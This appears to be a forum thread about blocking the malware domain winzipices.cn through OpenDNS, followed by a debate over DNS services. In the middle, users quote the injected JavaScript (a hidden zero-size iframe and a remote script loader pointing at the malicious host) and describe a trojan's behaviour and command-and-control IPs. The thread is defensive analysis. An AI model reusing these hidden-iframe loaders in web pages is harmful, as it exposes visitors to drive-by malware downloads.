Use OpenDNS to block winzipices.cn


Recommended Posts

You just go into your Network adapter settings, click properties, change the DNS server address, reboot your computer.

Thats the simpliest way

If you have a router, change the DNS servers of your router.

Its really easy..

http://www.opendns.com/start

The technology they use is simply amazing.. and it keeps getting better every day. Each day I hear about new improvements or ideas to the backend and frontend of OpenDNS and they are just simply amazing.

I do have a router, but is is connected (like I said above) in a delicate way to the rest of the network. To eliminate a double NAT setup, I currently have my router (Linksys WRT54G) acting as a wireless point (I think is the term) while the modem (SpeedStream 4500) does the routing. Hence, why I am so hesitant to try this.

If I were to try it, it wouldn't have any affect if I did it on an individual computer's DNS, the only way it would do something would be if I changed it on the modem right?

No offense but how? How would this be different from using my ISP's? Can't I already block/filter out tons of stuff with my router?

It's probably be slower than your ISP (It's about 20 times slower than my ISP's DNS server)

I just use dnsmasq (on my WRT54GL) myself.

Does anyone have any details on the malware itself? What browsers does it affect? What exactly does the malware do, etc? Or better yet, can someone upload the actual malware someplace?

The script being injected is winzipices.cn / 2.js (added space so people dont accidently go here) - DONT GO THERE, EVEN THOUGH ITS A JS FILE

The stuff in that JS file (2.js) is this:

document.write("<iframe <iframe src=http://winzipices.cn/2.asp width=0 height=0></iframe>")

5.js is this

if (navigator.systemLanguage=='zh-cn')

{

}

else{

document.write("http://winzipices.cn/5.js");

}

document.write ('<script language="javascript" type="text/javascript" src="http://js.users.51.la/1856986.js"></script>');

"You're already blocking winzipices.cn.

You're blocking Adware sites. This category includes winzipices.cn."

Looks like OpenDNS has already added it to the Adware list.

I am a moderator for OpenDNS and i have added it to the Adware category. Thats why.

I do have a router, but is is connected (like I said above) in a delicate way to the rest of the network. To eliminate a double NAT setup, I currently have my router (Linksys WRT54G) acting as a wireless point (I think is the term) while the modem (SpeedStream 4500) does the routing. Hence, why I am so hesitant to try this.

If I were to try it, it wouldn't have any affect if I did it on an individual computer's DNS, the only way it would do something would be if I changed it on the modem right?

Ahh, this took me a while to figure out. Ok, this makes sense

You are using your WRT54G basically as a DHCP server which uses ad-hoc, the default gateway of your router points to the IP address of your modem. The DNS settings of your router will be the address of your modem. Therefore, if you are able to change the DNS server address of your modem, that would be fine.

But if you dont feel comfortable doing it.. dont.

I dont think it would mess up your setup.

I already use OpenDNS, but as an extra precaution added the listed domains and IP addreses at the SANS site into my router's block-list.

--ScottKin

That works too.

I (Personally) just blocked all access to any .cn site.

I cant read that language.. so I have no use for those kinds of sites.

@Jonathan:

So, I've visited all the above mentioned sites, and the sites in the google search, and the winzipices site itself, executed all the .js files, created a local html and manually added the scripts and I see nothing happening. I did this on a windows 2003 machine on an admin account on IE 6 with its security and privacy settings resetted to the lowest level, without any antivirus, firewall, antispyware, adblocker, DEP, etc.

Scanned my PC but no trojans were found, confirmed this with procmon, procexp, autoruns and rootkitrevealer.

So is there a bug in this bug or am I missing something?

---

Can someone confirm this in their VM, if they're able to get to the actual trojan?

--

Edit: Managed to manually find the links to the actual malware. Seems one needs to have realplayer installed for it to download and execute automatically. Tested the actual malware- it's a trojan that receives and executes instructions via a config file. At this point of time, it didn't seem to perform any malicious commands as the config file didn't contain any. It just downloaded a second file which makes requests to 61.134.37.15:1800.

I'll get RP later and see if I can manage to get the trojan to auto-execute.

--

Btw, I highly recommend blocking 61.134.37.15 and 61.188.38.158 , in addition to winzipices.cn

A good news for AV users is that the majority of them have already added this to their database- except McAfee, Avast and ClamAV.

http://www.virustotal.com/analisis/4e5fead...dea811ea5e41d0b

Edited by [deXter]

@Jonathan:

So, I've visited all the above mentioned sites, and the sites in the google search, and the winzipices site itself, executed all the .js files, created a local html and manually added the scripts and I see nothing happening. I did this on a windows 2003 machine on an admin account on IE 6 with its security and privacy settings resetted to the lowest level, without any antivirus, firewall, antispyware, adblocker, DEP, etc.

Scanned my PC but no trojans were found, confirmed this with procmon, procexp, autoruns and rootkitrevealer.

So is there a bug in this bug or am I missing something?

---

Can someone confirm this in their VM, if they're able to get to the actual trojan?

--

Edit: Managed to find the links to the actual malware. Seems one needs to have realplayer installed for it to run/execute automatically.

Interesting..

I havent personally tested it, as i dont want to get the malware, lol.

@Tem, and others:

You can also use DNS Advantage and ScrubIT.

The basic advantages are:

- Faster browsing

- Site blocking, independent of OS/software

- Content blocking (pornography, etc)

- Automatic protection against phishing

- Automatically fix typos in website names: Eg: Typing yaho.com or gppgle.com will lead you to their correct domains

These public DNS services are free, and generally will continue to remain free.

I personally prefer DNS Advantage as it has many servers worldwide, and particularly, they have a server located very close to where I live.

I don't mean to thread hi-jack...but I want to give this OpenDNS thing a try. What differences will I notice and how do they keep it free is my main questions? Sounds interesting. :)

Difference in page / site load time due to its very large DNS cache

More secure.. you can block adware category, so no more adware sites will ever load.. a malware category is coming soon btw.

Block porn sites too.

Block suspicious responses

Typo corrections

Network shortcuts

OpenDNS keeps it free cause they get revenue from the ads they have from Overture running on the guide / search pages.

Also, they do have paid features, for business who need extra features, but OpenDNS cant provide those for free. and i mean the really big businesses.

@Tem, and others:

You can also use DNS Advantage and ScrubIT.

The basic advantages are:

- Faster browsing

- Site blocking, independent of OS/software

- Content blocking (pornography, etc)

- Automatic protection against phishing

- Automatically fix typos in website names: Eg: Typing yaho.com or gppgle.com will lead you to their correct domains

These public DNS services are free, and generally will continue to remain free.

I personally prefer DNS Advantage as it has many servers worldwide, and particularly, they have a server located very close to where I live.

DNS Advantage is like a cheap knockoff of OpenDNS, they even use the same terminology "dashboard"

I haven't heard one explanation about making sites load faster, I've just heard the claim repeated.

OpenDNS has servers situated strategically at the most well-connected intersections of the Internet. Unlike your ISP, our network uses Anycast routing technology, which means no matter where you are in the world your DNS requests are answered by our closest datacenter. Anycast routing also means that you are automatically routed to our next closest datacenter in the event of maintenance or downtime. This makes your Internet faster and more reliable.

network_map.gif

How we're faster: We have really large caches

Most DNS servers have a small cache. We operate the largest caches in the world (and on the Internet, size matters). This means when you type a website into your address bar, the site loads immediately, instead of making you wait for a small cache to find the answer.

cache.gif

my ISP's DNS server is one hop away and can return uncached entries in around 10ms. That's still not going to make my connection faster though.

And OpenDNS caches are going to expire at the same time as my ISP's caches, unless OpenDNS is ignoring the TTL.

DNS Advantage is like a cheap knockoff of OpenDNS, they even use the same terminology "dashboard"

Maybe, but that doesn't change the fact that they're way faster than OpenDNS (for me). I'm quite surprised that despite being around for so many years, they have such few servers (5, 1 upcoming), while DNS Advantage has so many (14, 3 upcoming).

Node_locations.png

--

Also, I fail to see how OpenDNS's servers are "situated strategically", considering the fact that most of them ('cept one) are located in the US -_-

In any case, a little bit of competition never harmed anyone :)

Edited by [deXter]
This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Posts

    • Spotify really have turned in to a butthole of a company. Assuming this isn't a bug then this is a low act for Premium users. Honestly, YT Premium which includes YT Music is a genuine alternative. In any event, the internet enshitification continues unabated...next up, the banning of VPN's.
    • This is why science is the only path to truth. It isn't rigid in its beliefs, rather it changes its views based on scientific discoveries.
    • A 13 billion year old secret about our Universe's origin was revealed by Sayan Sen Image by Pascal Küffer via Pexels Researchers at the Max-Planck-Institut für Kernphysik (MPIK) in Heidelberg had recreated a key chemical reaction from the early universe, producing results that could change scientists' understanding of how the first stars formed. The study focused on the helium hydride ion (HeH⁺), which is widely regarded as the first molecule to form in the universe. Scientists believe HeH⁺ appeared around 380,000 years after the Big Bang, when the universe had cooled enough for electrons and atomic nuclei to combine into neutral atoms in a period known as recombination. This marked the beginning of chemistry in the cosmos. Immediately after the Big Bang about 13.8 billion years ago, the universe was extremely hot and dense. As it expanded and cooled, hydrogen and helium became the dominant elements. Once neutral helium atoms formed, they could react with ionised hydrogen nuclei, or protons, to create helium hydride ions. Although simple in structure, HeH⁺ played an important role in the young universe. It was the first step in a chain of reactions that eventually produced molecular hydrogen (H₂), a molecule made up of two hydrogen atoms and now the most abundant molecule in the universe. Molecular hydrogen later became a key ingredient in the formation of the first stars. At the time, the universe had entered a phase often called the cosmological "dark age." Matter had become transparent to light following recombination, but there were still no stars or galaxies producing visible light. Several hundred million years would pass before the first stars appeared. For those first stars to form, large clouds of gas had to collapse under their own gravity. To do that, the gas needed to cool by releasing energy. While hydrogen atoms can help with this process at high temperatures, they become less effective below about 10,000 degrees Celsius. Molecules can continue the cooling process by releasing energy through rotational and vibrational motions. Scientists have long considered HeH⁺ a potentially important coolant because of its comparatively large dipole moment, a property that describes how electric charge is distributed within a molecule and allows it to release energy efficiently. The amount of helium hydride present in the early universe may therefore have influenced how easily the first stars could form. At the same time, HeH⁺ was constantly being destroyed. Under primordial conditions, its main destruction mechanisms were recombination with free electrons and chemical reactions with hydrogen atoms. These reactions ultimately helped produce molecular hydrogen, linking the formation and destruction of HeH⁺ to the chemistry that shaped the early universe. For many years, theoretical studies suggested that reactions between HeH⁺ and hydrogen atoms would become much slower at low temperatures. Scientists believed there was an energy barrier along the reaction pathway that reduced the chances of the reaction taking place in the cold conditions of the early universe. The new study suggests otherwise. To investigate the process, researchers recreated a closely related reaction using deuterium, a naturally occurring isotope of hydrogen that contains one proton and one neutron in its nucleus. When HeH⁺ collides with deuterium, it forms an HD⁺ ion and a neutral helium atom. This allows scientists to study the reaction in a controlled way while closely mimicking the behaviour of the original reaction involving hydrogen. The experiments were carried out at the Cryogenic Storage Ring (CSR) at MPIK, a specialised facility designed to recreate conditions similar to those found in space. Researchers stored HeH⁺ ions in the 35-metre storage ring for up to 60 seconds at temperatures just a few kelvins above absolute zero and merged them with a beam of neutral deuterium atoms. By adjusting the speeds of the two particle beams, the team measured how the reaction rate changed with collision energy, which is directly related to temperature. The researchers found that the reaction rate remains almost constant as temperatures decrease. In other words, the reaction does not slow down at low temperatures as earlier models predicted. “Previous theories predicted a significant decrease in the reaction probability at low temperatures, but we were unable to verify this in either the experiment or new theoretical calculations by our colleagues,” explained Dr Holger Kreckel of MPIK. “The reactions of HeH⁺ with neutral hydrogen and deuterium therefore appear to have been far more important for chemistry in the early universe than previously assumed,” he continued. According to the researchers, the reaction appears to be barrierless, meaning there is no energy obstacle preventing it from taking place efficiently even at very low temperatures. The findings support recent theoretical work led by physicist Yohann Scribano, whose group identified an error in a widely used potential energy surface, a mathematical model used to describe how the energy of a system changes during a chemical reaction. The error appears to have caused previous studies to significantly underestimate reaction rates under primordial conditions. The new calculations closely match the experimental results. Together, they suggest that helium chemistry in the early universe may need to be re-evaluated. Because molecules such as HeH⁺ and molecular hydrogen played an important role in cooling primordial gas clouds, the findings could help scientists build more accurate models of how the first stars formed. By showing that helium hydride was likely destroyed more efficiently than previously thought, the study offers new insight into the chemical processes that shaped the universe during its earliest stages and helped set the conditions for the emergence of the first stars. Source: Max-Planck Institute, EDP Sciences This article was generated with some help from AI and reviewed by an editor. Under Section 107 of the Copyright Act 1976, this material is used for the purpose of news reporting. Fair use is a use permitted by copyright statute that might otherwise be infringing.
    • "What an interesting smell you've discovered"
    • It could EASILY be 70 for the base game BUT + lots of FOMO to make it up to 100-120, like a few days Early Access, online money, pre-order bonus cars, weapons, missions, clothing, avatars or profile stuff, etc... And still WAY TOO MANY people would buy those and make Rockstar insane money.
  • Recent Achievements

    • Dedicated
      JuvenileDelinquent earned a badge
      Dedicated
    • First Post
      DrWankel earned a badge
      First Post
    • Reacting Well
      DrWankel earned a badge
      Reacting Well
    • Week One Done
      Supreme Spray LV earned a badge
      Week One Done
    • Week One Done
      Genuinetonerink- Dubai earned a badge
      Week One Done
  • Popular Contributors

    1. 1
      +primortal
      504
    2. 2
      +Edouard
      164
    3. 3
      PsYcHoKiLLa
      92
    4. 4
      Steven P.
      76
    5. 5
      Michael Scrip
      72
  • Tell a friend

    Love Neowin? Tell a friend!